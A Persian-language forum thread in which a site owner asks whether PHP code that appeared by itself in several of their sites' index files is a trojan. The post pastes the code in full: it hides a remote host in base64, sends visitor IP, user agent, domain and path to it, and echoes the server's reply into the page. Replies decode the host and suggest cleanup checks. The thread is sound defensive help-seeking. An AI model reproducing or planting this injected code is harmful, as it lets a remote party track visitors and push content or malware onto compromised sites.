mina_rp

آمدن خودبه خود کد در index

4 پست در این موضوع

سلام این کد اتومات توی چند تا از سایتهام اومده تو indexقسمتی که reset.css رو معرفی کردم

فکر میکنم از ماژولایی که استفاده کردم باشه ،تروجانه؟

if (!isset($sRetry))

{

global $sRetry;

$sRetry = 1;

// This code use for global bot statistic

$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot

$stCurlHandle = NULL;

$stCurlLink = "";

if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes

{

if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics

$stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

@$stCurlHandle = curl_init( $stCurlLink );

}

}

if ( $stCurlHandle !== NULL )

{

curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);

$sResult = @curl_exec($stCurlHandle);

if ($sResult[0]=="O")

{$sResult[0]=" ";

echo $sResult; // Statistic code end

}

curl_close($stCurlHandle);

}

}

Share this post


Link to post
Share on other sites
آموزش ووکامرس قالب جوملا قالب وردپرس قالب رایگان وردپرس قالب رایگان جوملا هاست نامحدود هاست جوملا هاست لاراول هاست وردپرس هاست ارزان هاست ربات تلگرام خرید دامنه آموزش ساخت ربات تلگرام با php آموزش لاراول آموزش cPanel آموزش php آموزش فرم ساز RSform آموزش ساخت ربات جذب ممبر آموزش ساخت ربات دوستیابی آموزش ساخت ربات فروشگاهی برای ووکامرس آموزش طراحی سایت داینامیک با php آموزش بخش پشتیبانی با rsticket

دقت کن در داخل کدها یک خط هست که با base64 کد شده که مشکوک بود:

base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zd GF0LnBocA==')

دیکد که کردم این شد:

http://botstatisticupdate.com/stat/stat.php

خطوط پایین هم در حال ارسال اطلاعات از سایت شما به لینک مورد اشاره است!!! :13:

به نظر مشکوک میاد!! پیشنهاد میکنم ایندکس رو درست کنید و اگر ماژولی نصب کردید مربوط به آمار گیر یا یه چیز تو این مایه ها حذف کنید

Share this post


Link to post
Share on other sites

سایت رو هم که باز کردم آنتی ویروسم پیغام تروجان داد که Js/iframe (اگه درست یادم مونده باشه)

index رو درست کردم

ولی نمیدونم از کدوم ماژول میتونه باشه

آخه ماژول خاصی نصب نکردم

Share this post


Link to post
Share on other sites

درود

به نظر میاد کد یک آمارگیر هست

موارد زیر رو چک کنید

از افزونه یا قالب نال شده استفاده میکنید؟

این کد داخل فایلتون هست

if ( $stCurlHandle !== NULL )

در داخل روت هاست فایل اضافه میبینید؟

فایروالتون آی پی خاصی رو نشون میده که پکت های متعددی رو ارسال کرده باشه به سایت شما؟

از مدیر سرورتون بخواید که چک کنه این فایل در روز چند بار لود میشه؟

Share this post


Link to post
Share on other sites

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری